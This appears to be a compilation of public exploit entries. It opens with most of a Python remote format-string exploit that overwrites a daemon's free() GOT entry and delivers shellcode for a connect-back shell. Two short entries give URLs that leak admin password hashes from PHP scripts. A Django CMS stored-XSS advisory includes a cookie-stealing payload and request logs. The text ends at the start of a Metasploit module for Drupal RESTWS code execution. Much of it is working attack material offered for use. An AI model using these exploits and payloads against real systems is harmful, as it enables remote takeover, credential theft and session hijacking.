		ip_hex = ip_hex.split()
		IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3];

		# Let's break apart the hex code of LPORT into two bytes
		port_hex = hex(int(lport))[2:]
		port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)
		port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))
		port_hex = port_hex.split()
	
		if (target[Key][6]) == 'MIPSel':
			# Connect back PORT
			if len(port_hex) == 1:
				PP1 = "%ff"
				PP0 = '%{:02x}'.format((int(port_hex[0],16)-1))
			elif len(port_hex) == 2:
				# Little Endian
				PP1 = '%{:02x}'.format((int(port_hex[0],16)-1))
				PP0 = '%{:02x}'.format(int(port_hex[1],16))
		elif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32
			# Connect back PORT
			if len(port_hex) == 1:
				PP1 = "%00"
				PP0 = '%{:02x}'.format(int(port_hex[0],16))
			elif len(port_hex) == 2:
				# Little Endian
				PP1 = '%{:02x}'.format(int(port_hex[0],16))
				PP0 = '%{:02x}'.format(int(port_hex[1],16))
		elif (target[Key][6]) == 'CRISv32':
			# Connect back PORT
			if len(port_hex) == 1:
				PP1 = "%00"
				PP0 = '%{:02x}'.format(int(port_hex[0],16))
			elif len(port_hex) == 2:
				# Little Endian
				PP1 = '%{:02x}'.format(int(port_hex[0],16))
				PP0 = '%{:02x}'.format(int(port_hex[1],16))
		else:
			print "[!] Unknown shellcode! (%s)" % str(target[Key][6])
			sys.exit(1)

		# Replace LHOST / LPORT in URL encoded shellcode
		shell = shellcode_db(rhost,verbose).sc(target[Key][6])
		shell = shell.replace("IP1",IP1)
		shell = shell.replace("IP2",IP2)
		shell = shell.replace("IP3",IP3)
		shell = shell.replace("IP4",IP4)
		shell = shell.replace("PP0",PP0)
		shell = shell.replace("PP1",PP1)
		FMSdata += shell

#
# Calculate the FMS values to be used
#
	# Get pre-defined values
	ALREADY_WRITTEN = 40	# Already 'written' in the daemon before our FMS
#	POP_SIZE = 8
	POP_SIZE = 1

	GOThex = target[Key][0]
	BSShex = target[Key][1]
	GOTint = int(GOThex)

	# 'One-Write-Where-And-What'
	if not NCSH1 and not NCSH2:

		POP1 = target[Key][2]
		POP2 = target[Key][3]

		# Calculate for creating the FMS code
		ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)
		GOTint = (GOTint - ALREADY_WRITTEN)
	
		ALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE)

		BSSint = int(BSShex)
		BSSint = (BSSint - GOTint - ALREADY_WRITTEN)

#		if verbose:
#			print "[Verbose] Calculated GOTint:",GOTint,"Calculated BSSint:",BSSint

	# 'Two-Write-Where-And-What' using "New Style"
	elif NCSH2:

		POP1 = target[Key][2]
		POP2 = target[Key][3]
		POP3 = target[Key][4]
		POP4 = target[Key][5]
 		POP2_SIZE = 2
		
 		# We need to count higher than provided address for the jump
		BaseAddr = 0x10000 + BSShex
	
		# Calculate for creating the FMS code
		GOTint = (GOTint - ALREADY_WRITTEN)

		ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint
		
		# Calculate FirstWhat value
		FirstWhat = BaseAddr - (ALREADY_WRITTEN)
		
		ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat

		# Calculate SecondWhat value, so it always is 0x20300
		SecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE)

		shell = shellcode_db(rhost,verbose).sc(target[Key][6])
		shell = shell.replace("LHOST",lhost)
		shell = shell.replace("LPORT",lport)

		FirstWhat = FirstWhat - len(shell)

#		if verbose:
#			print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat
	
	
	# 'Two-Write-Where-And-What' using "Old Style"
	elif NCSH1:

		POP1 = target[Key][2]
		POP2 = target[Key][3]
		POP3 = target[Key][4]
		POP4 = target[Key][5]
		POP2_SIZE = 2

		# FirstWhat writes with 4 bytes (Y) (0x0002YYYY)
		# SecondWhat writes with 1 byte (Z) (0x00ZZYYYY)
		if BSShex > 0x10000:
			MSB = 1
		else:
			MSB = 0

 		# We need to count higher than provided address for the jump
		BaseAddr = 0x10000 + BSShex

		# Calculate for creating the FMS code
		ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)
		
		GOTint = (GOTint - ALREADY_WRITTEN)
		
		ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE)
		
		# Calculate FirstWhat value
		FirstWhat = BaseAddr - (ALREADY_WRITTEN)
		
		ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE)

		# Calculate SecondWhat value, so it always is 0x203[00] or [01]
		SecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB

		shell = shellcode_db(rhost,verbose).sc(target[Key][6])
		shell = shell.replace("LHOST",lhost)
		shell = shell.replace("LPORT",lport)

		GOTint = GOTint - len(shell)

#		if verbose:
#			print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated SecondWhat:",SecondWhat
	
	else:
		print "[!] NCSH missing, exiting"
		sys.exit(1)
#
# Let's start the exploiting procedure
#

#
# Stage one
#
	if NCSH1 or NCSH2:

		# "New Style" needs to make the exploit in two stages
		if NCSH2:
			FMScode = do_FMS(rhost,verbose)
			# Writing 'FirstWhere' and 'SecondWhere'
			# 1st request
			FMScode.AddADDR(GOTint) # Run up to free() GOT address
			#
			# 1st and 2nd "Write-Where"
			FMScode.AddDirectParameterN(POP1)	# Write 1st Where
			FMScode.Add("XX")			# Jump up two bytes for next address
			FMScode.AddDirectParameterN(POP2)	# Write 2nd Where
			FMSdata = FMScode.FMSbuild()
		else:
			FMSdata = ""

		print "[>] StG_1: Preparing netcat connect back shell to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata))
	else:
		print "[>] StG_1: Sending and decoding shellcode to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % (len(FMSdata))

	# Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM
	# Actually, any valid and public readable .shtml file will work...
	# (One of the two below seems always to be usable)
	#
	# For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two
	# For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url
	#
	try:
		target_url = "/httpDisabled.shtml?user_agent="
		if noexploit:
			target_url2 = target_url
		else:
			target_url2 = "/httpDisabled.shtml?&http_user="

		if NCSH2:
			html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
		else:
			html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)
	except urllib2.HTTPError as e:
		if e.code == 404:
			print "[<] Error",e.code,e.reason
			target_url = "/view/viewer_index.shtml?user_agent="
			if noexploit:
				target_url2 = target_url
			else:
				target_url2 = "/view/viewer_index.shtml?&http_user="
			print "[>] Using alternative target shtml"
			if NCSH2:
				html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
			else:
				html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)
	except Exception as e:
		if not NCSH2:
			print "[!] Shellcode delivery failed:",str(e)
			sys.exit(1)
#
# Stage two
#

#
# Building and sending the FMS code to the target
#
	print "[i] Building the FMS code..."

	FMScode = do_FMS(rhost,verbose)

	# This is an 'One-Write-Where-And-What' for FMS
	#
	# Stack Example:
	#
	# Stack content	|	Stack address (ASLR)
	#
	# 0x0		|	@0x7e818dbc -> [POP1's]
	# 0x0		|	@0x7e818dc0 -> [free () GOT address]
	# 0x7e818dd0	|	@0x7e818dc4>>>>>+ "Write-Where" (%n)
	# 0x76f41fb8	|	@0x7e818dc8     | -> [POP2's]
	# 0x76f3d70c	|	@0x7e818dcc     | -> [BSS shell code address]
	# 0x76f55ab8	|	@0x7e818dd0<<<<<+ "Write-What" (%n)
	# 0x1		|	@0x7e818dd4
	#
	if not NCSH1 and not NCSH2:
		FMScode.AddPOP(POP1)		# 1st serie of 'Old Style' POP's 
		FMScode.AddADDR(GOTint)		# GOT Address
		FMScode.AddWRITEn(1)		# 4 bytes Write-Where
#		FMScode.AddWRITElln(1)		# Easier to locate while debugging as this will write double word (0x00000000004xxxxx)

		FMScode.AddPOP(POP2)		# 2nd serie of 'Old Style' POP's
		FMScode.AddADDR(BSSint)		# BSS shellcode address
		FMScode.AddWRITEn(1)		# 4 bytes Write-What
#		FMScode.AddWRITElln(1)		# Easier to locate while debugging as this will write double word (0x00000000004xxxxx)

	# End of 'One-Write-Where-And-What'


	# This is an 'Two-Write-Where-And-What' for FMS
	#
	# Netcat shell and FMS code in same request, we will jump to the SSI function <!--#exec cmd="xxx" -->
	# We jump over all SSI tagging to end up directly where "xxx" will
	# be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv())
	#
	# The Trick here is to write lower target address, that we will jump to when calling free(),
	# than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT
	# address with two LSB writes.
	#
	elif NCSH2:
		#
		# Direct parameter access for FMS exploitation are really nice and easy to use.
		# However, we need to exploit in two stages with two requests.
		# (I was trying to avoid this "Two-Stages" so much as possibly in this exploit developement...)
		#
		# 1. Write "Two-Write-Where", where 2nd is two bytes higher than 1st (this allows us to write to MSB and LSB)
		# 2. Write with "Two-Write-What", where 1st (LSB) and 2nd (MSB) "Write-Where" pointing to.
		# 
		# With "new style", we can write with POPs independently as we don't depended of same criteria as in "NCSH1",
		# we can use any regular "Stack-to-Stack" pointer as we can freely choose the POP-and-Write.
		# [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.]
		#
		# Stack Example:
		#
		# Stack content	|	Stack address (ASLR)
		#
		# 0x7e818dd0	|	@0x7e818dc4>>>>>+ 1st "Write-Where" [@Stage One]
		# 0x76f41fb8	|	@0x7e818dc8     |
		# 0x76f3d70c	|	@0x7e818dcc     |
		# 0x76f55ab8	|	@0x7e818dd0<<<<<+ 1st "Write-What" [@Stage Two]
		# 0x1		|	@0x7e818dd4
		# [....]
		# 0x1c154	|	@0x7e818e10
		# 0x7e818e20	|	@0x7e818e14>>>>>+ 2nd "Write-Where" [@Stage One]
		# 0x76f41fb8	|	@0x7e818e18     |
		# 0x76f3d70c	|	@0x7e818e1c     |
		# 0x76f55758	|	@0x7e818e20<<<<<+ 2nd "Write-What" [@Stage Two]
		# 0x1		|	@0x7e818e24
		#

		FMScode.Add(shell)

		#
		# 1st and 2nd "Write-Where" already done in stage one
		#
		# 1st and 2nd "Write-What"
		#
		FMScode.AddADDR(GOTint + FirstWhat)	# Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.
		FMScode.AddDirectParameterN(POP3)	# Write with 4 bytes (we want to zero out in MSB)
		FMScode.AddADDR(SecondWhat + 3)		# Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)
		FMScode.AddDirectParameterHHN(POP4)	# Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation

	elif NCSH1:
		# Could use direct argument addressing here, but I like to keep "old style" as well,
		# as it's another interesting concept.
		#
		# Two matching stack contents -> stack address in row w/o or max two POP's between,
		# is needed to write two bytes higher (MSB).
		# 
		#
		# Stack Example:
		#
		# Stack Content	|	@Stack Address (ASLR)
		#
		# 0x9c		|	@7ef2fde8 -> [POP1's]
		# [....]
		# 0x1		|	@7ef2fdec -> [GOTint address]
		#------
		# 0x7ef2fe84	|	@7ef2fdf0 >>>>>+     Write 'FirstWhere' (%n) [LSB]
		#                       -> 'XX'        |     two bytes (Can be one or two POP's as well, by using %2c or %1c%1c as POPer)
		# 0x7ef2fe8c	|	@7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB]
		# ------                               |   |
		# [....]                -> [POP3's]    |   |
		# 0x7fb99dc	|	@7ef2fe7c      |   |
		# 0x7ef2fe84	|	@7ef2fe80      |   | [Count up to 0x2XXXX]
		# 0x7ef2ff6a	|	@7ef2fe84 <<<<<+   | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX))
		#                       -> [POP4's]        |
		# (nil)		|	@7ef2fe88          | [Count up to 0x20300]
		# 0x7ef2ff74	|	@7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX)

		FMScode.Add(shell)

		# Write FirstWhere for 'FirstWhat'
		FMScode.AddPOP(POP1)
		FMScode.AddADDR(GOTint) # Run up to free() GOT address
		FMScode.AddWRITEn(1)

		# Write SecondWhere for 'SecondWhat'
		#
		# This is special POP with 1 byte, we can maximum POP 2!
		#
		# This POP sequence is actually no longer used in this part of exploit, was developed to meet the requirement
		# for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes.
		# Kept as reference as we now using direct parameter access AKA 'New Style" for 5.2x/5.4x
		#
		if POP2 != 0:
			# We only want to write 'SecondWhat' two bytes higher at free() GOT
			if POP2 > 2:
				print "POP2 can't be greater than two!"
				sys.exit(1)
			if POP2 == 1:
				FMScode.Add("%2c")
			else:
				FMScode.Add("%1c%1c")
		else:
			FMScode.Add("XX")
		FMScode.AddWRITEn(1)

		# Write FirstWhat pointed by FirstWhere
		FMScode.AddPOP(POP3)		# Old Style POP's
		FMScode.AddADDR(FirstWhat)	# Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target address.
		FMScode.AddWRITEn(1)		# Write with 4 bytes (we want to zero out in MSB)
		
		# Write SecondWhat pointed by SecondWhere
		FMScode.AddPOP(POP4)		# Old Style POP's
		FMScode.AddADDR(SecondWhat)	# Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. (0x00ZZXXXX)
		FMScode.AddWRITEhhn(1)		# Write with one byte 0x000203[00] or 0x000203[01] depending from above calculation

	else:
		sys.exit(1)

	FMSdata = FMScode.FMSbuild()

	print "[>] StG_2: Writing shellcode address to free() GOT address:",'0x{:08x}'.format(GOThex),"(%d bytes)" % (len(FMSdata))

	# FMS comes here, and calculations start after '=' in the url
	try:
		if NCSH1 or NCSH2:
			html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat shell
		else:
			html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS shellcode
	except urllib2.HTTPError as e:
		print "[!] Payload delivery failed:",str(e)
		sys.exit(1)
	except Exception as e:
		# 1st string returned by HTTP mode, 2nd by HTTPS mode
		if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
			print "[i] Timeout! Payload delivered sucessfully!"
		else:
			print "[!] Payload delivery failed:",str(e)
			sys.exit(1)

	if noexploit:
		print "\n[*] Not exploiting, no shell...\n"
	else:
		print "\n[*] All done, enjoy the shell...\n"

#
# [EOF]
#
            
# Exploit Title: Free News Script User Password Download File
# Date: 2016-07-18
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.newsp.eu/index.php?pt=ns
# Version: All Version
# Download Link : http://www.newsp.eu/newsp.zip

Exploit :
http://site/admin/user.txt
Admin|e3afed0047b08059d0fada10f400c1e5|1|1|1|1|

Username = Admin
Password Hash = e3afed0047b08059d0fada10f400c1e5 [MD5]
            
Document Title:
===============
Django CMS v3.3.0 - (Editor Snippet) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1869

Security Release: https://www.djangoproject.com/weblog/2016/jul/18/security-releases/

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6186

CVE-ID:
=======
CVE-2016-6186


Release Date:
=============
2016-07-19


Vulnerability Laboratory ID (VL-ID):
====================================
1869


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
django CMS is a modern web publishing platform built with Django, the web application framework for perfectionists with deadlines.
django CMS offers out-of-the-box support for the common features you’d expect from a CMS, but can also be easily customised and 
extended by developers to create a site that is tailored to their precise needs.

(Copy of the Homepage: http://docs.django-cms.org/en/release-3.3.x/upgrade/3.3.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side vulnerability (CVE-2016-6186) in the official Django v3.3.0 Content Management System.


Vulnerability Disclosure Timeline:
==================================
2016-07-03: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-07-04 Vendor Notification (Django Security Team)
2016-07-07: Vendor Response/Feedback (Django Security Team)
2016-07-18: Vendor Fix/Patch (Django Service Developer Team)
2016-07-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Divio AG
Product: Django Framework - Content Management System 3.3.0

Divio AG
Product: Django Framework - Content Management System MDB, 1.10, 1.9, 1.8 and 1.7


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Django v3.3.0 Content Management System.
The security vulnerability allows remote attackers or privileged user accounts to inject own malicious script codes to the 
application-side of the vulnerable modules web context.

The persistent web vulnerability is located in the `Name` value of the `Editors - Code Snippet` module POST method request. 
Remote attackers are able to inject own malicious script code to the snippets name input field to provoke a persistent execution. 
The injection point is the snippets add module of the editor. The execution point occurs in the `./djangocms_snippet/snippet/` 
data listing after the add. The data context is not escaped or parsed on add to select and thus results in an execute of any 
payload inside of the option tag.

The attacker vector of the vulnerability is persistent because of the data is stored on add and request method to inject is POST.
The vulnerability can be exploited against other privileged user accounts of the django application by interaction with already 
existing snippets on add. 

Already added elements become visible for the other user accounts as well on add interaction. The unescaped data is stored in 
the database of the web-application but when rendered in the frontend or in the edit mode, it's properly escaped.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. 
Exploitation of the vulnerability requires a low privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external 
redirects to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] Editor - Snippets (Add)

Vulnerable Input(s):
				[+] Name

Parameter(s):
				[+] select

Affected Module(s):
				[+] Snippets Options Listing [./djangocms_snippet/snippet/] - option


Proof of Concept (PoC):
=======================
The application-side validation web vulnerability can be exploited by low and high privileged web-application user accounts with low user interaction.
For security demonstration or to reproduce the application-side web vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to your django cms website with version 3.3.0
2. Open the structure module
3. Click to edit a page module
Note: Now the editor opens with the main default plugins
4. Mark a text passage and click to the code snippets plugin that is configured by default installation
5. Click the plus to add a new snippet of code
6. Inject a script code payload in java-script to the input field of the Name
7. Save the entry iva POST method request
8. Now click the box to choose the vulnerable injected payload
9. The script code payload executes in the box listing without secure parse or filter to encode
10. Successful reproduce of the application-side validation vulnerability in the editors snippet module!

Note: 
Multiple accounts can be exploited by the inject of snippets. When another privileged user account includes a snippet 
the stable saved categories provoke the execution of the payload.



PoC: Snippet Module [./djangocms_snippet/snippet/] (Execution Point) <select> <option>
...
<fieldset class="module aligned ">
<div class="form-row field-snippet">
<div>        
<label class="required" for="id_snippet">Snippet:</label>                    
<div class="related-widget-wrapper">
<select id="id_snippet" name="snippet">
<option value="">---------</option>
<option value="3" selected="selected">"><"<img src="x">%20%20>"<iframe src="a">%20<iframe>  
"><"<img src="x">%20%20>"<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie)<>[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]%20<iframe></iframe></option>
<option value="1">Social AddThis</option>
<option value="2">tour "><"<img src="x">%20%20>"<iframe src=a>%20<iframe></option>
</select> 
<a href="/en/admin/djangocms_snippet/snippet/3/?_to_field=id&_popup=1" class="related-widget-wrapper-link change-related" 
id="change_id_snippet" data-href-template="/en/admin/djangocms_snippet/snippet/__fk__/?_to_field=id&_popup=1" title="Change selected Snippet">
<img src="/static/admin/img/icon_changelink.gif" alt="Change" height="10" width="10">
</a>
<a class="related-widget-wrapper-link add-related" id="add_id_snippet" href="/en/admin/djangocms_snippet/snippet/add/?_to_field=id&_popup=1" title="Add another Snippet">
<img src="/static/admin/img/icon_addlink.gif" alt="Add" height="10" width="10">
</a>
</div>
</div>
</div>
</fieldset>
...



--- PoC Session Logs [POST] (Injection) [GET] (Execution) ---
Status: 200[OK]
POST http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/?_to_field=id&_popup=1 
   Request Header:    
  Host[django3-3-0.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/?_to_field=id&_popup=1]
      Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en]
Connection[keep-alive]
POST-Daten:
POSTDATA =-----------------------------30880199939743
Content-Disposition: form-data; name="csrfmiddlewaretoken"
LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm
-----------------------------30880199939743
Content-Disposition: form-data; name="_popup"
1
-----------------------------30880199939743
Content-Disposition: form-data; name="_to_field"
id
-----------------------------30880199939743
Content-Disposition: form-data; name="name"
test <img src="x">%20%20>"<iframe src="a">%20<iframe>  
"><"<img src="x">%20%20>"<iframe src=a>[PERSISTENT INJECTED SCRIPT CODE VIA SNIPPET NAME!]%20<iframe>
-----------------------------30880199939743
Content-Disposition: form-data; name="html"
sd
-----------------------------30880199939743
Content-Disposition: form-data; name="template"
aldryn_tour/tour.html 
-----------------------------30880199939743
Content-Disposition: form-data; name="slug"
tour
-----------------------------30880199939743
Content-Disposition: form-data; name="_save"
Save
-----------------------------30880199939743-- 
Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Mon, 04 Jul 2016 09:34:19 GMT]
      X-Aldryn-App[django-cms-3-3-demo-sopegose-stage]
      Content-Language[en]
      Expires[Mon, 04 Jul 2016 09:34:19 GMT]
      Vary[Cookie]
      Last-Modified[Mon, 04 Jul 2016 09:34:19 GMT]
      Cache-Control[no-cache, no-store, must-revalidate, max-age=0]
      X-Frame-Options[SAMEORIGIN]
      Content-Type[text/html; charset=utf-8]
      Set-Cookie[sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; expires=Mon, 18-Jul-2016 09:34:19 GMT; Max-Age=1209600; Path=/]
-
Status: 301[MOVED PERMANENTLY]
GET http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/x[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!] 
   Request Header:
      Host[django3-3-0.localhost:8080]   
   User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/?placeholder_id=6&plugin_type=SnippetPlugin&plugin_parent=9&plugin_language=en]
      Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en]
      Connection[keep-alive]
   Response Header:
      Server[Aldryn-LoadBalancer/2.0]
      Date[Mon, 04 Jul 2016 09:34:19 GMT]
      Vary[Cookie]
      X-Frame-Options[SAMEORIGIN]
      Content-Type[text/html; charset=utf-8]
      Location[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/x/]
      Content-Language[en]
-
Status: 200[OK]
GET http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/a/[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]
   Request Header:
      Host[django3-3-0.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/?placeholder_id=6&plugin_type=SnippetPlugin&plugin_parent=9&plugin_language=en]
      Cookie[csrftoken=LSAWc8qD0fUpl1Yz11W8FMfLPYSo6Dwm; sessionid=eg4ycotyuzu144c85qd9ve12jwn1ob21; django_language=en]
      Connection[keep-alive]
   Response Header:
      Transfer-Encoding[chunked]
      X-Proxy-Request-Received[0]
      Server[Aldryn-LoadBalancer/2.0]
      Date[Mon, 04 Jul 2016 09:34:19 GMT]
      Content-Language[en]
      Expires[Mon, 04 Jul 2016 09:34:19 GMT]
      Vary[Cookie]
      Last-Modified[Mon, 04 Jul 2016 09:34:19 GMT]
      Cache-Control[no-cache, no-store, must-revalidate, max-age=0]
      X-Frame-Options[SAMEORIGIN]
	Content-Type[text/html]


Reference(s):
http://django3-3-0.localhost:8080/
http://django3-3-0.localhost:8080/en/
http://django3-3-0.localhost:8080/en/admin/
http://django3-3-0.localhost:8080/en/admin/cms/
http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/
http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/
http://django3-3-0.localhost:8080/en/admin/djangocms_snippet/snippet/2/
http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/
http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/edit-plugin/
http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/edit-plugin/9/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the vulnerable Name input field in the add snippets editor module.
Restrict the input and disallow the usage of special chars. Escape the entries in case of emergency and use plain-text values.
Encode in the snippets module listing the vulnerable box with the name listing to prevent the execution point of the vulnerability.

Resolution:
Patches to resolve the issues have been applied to Django's master development branch and the 1.10, 1.9, and 1.8 release branches. 
The patches may be obtained from the following changesets:

-    On the development master branch
-    On the 1.10 release branch
-    On the 1.9 release branch
-    On the 1.8 release branch

The following new releases have been issued:

-    Django 1.10rc1
-    Django 1.9.8
-    Django 1.8.14

Reference(s):
https://developer.mozilla.org/en-US/docs/Web/API/element/innerHTML


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the django cms is estimated as medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
# Exploit Title: PHP calendar script Password Download File
# Date: 2016-07-18
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.newsp.eu/calendarscript.php?pt=st
# Version: All Version
# Download Link : http://www.newsp.eu/calendar.zip

Exploit :
http://site/user.txt
Admin|fe01ce2a7fbac8fafaed7c982a04e229
Password Hash = fe01ce2a7fbac8fafaed7c982a04e229 (demo)[MD5]

Test :
Exploit : http://www.newsp.eu/demo/user.txt
Login Url : http://www.newsp.eu/demo/login.php
Password : demo
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits the Drupal RESTWS module vulnerability.
        RESTWS alters the default page callbacks for entities to provide
        additional functionality. A vulnerability in this approach allows
        an unauthenticated attacker to send specially crafted requests resulting
        in arbitrary PHP execution

        This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
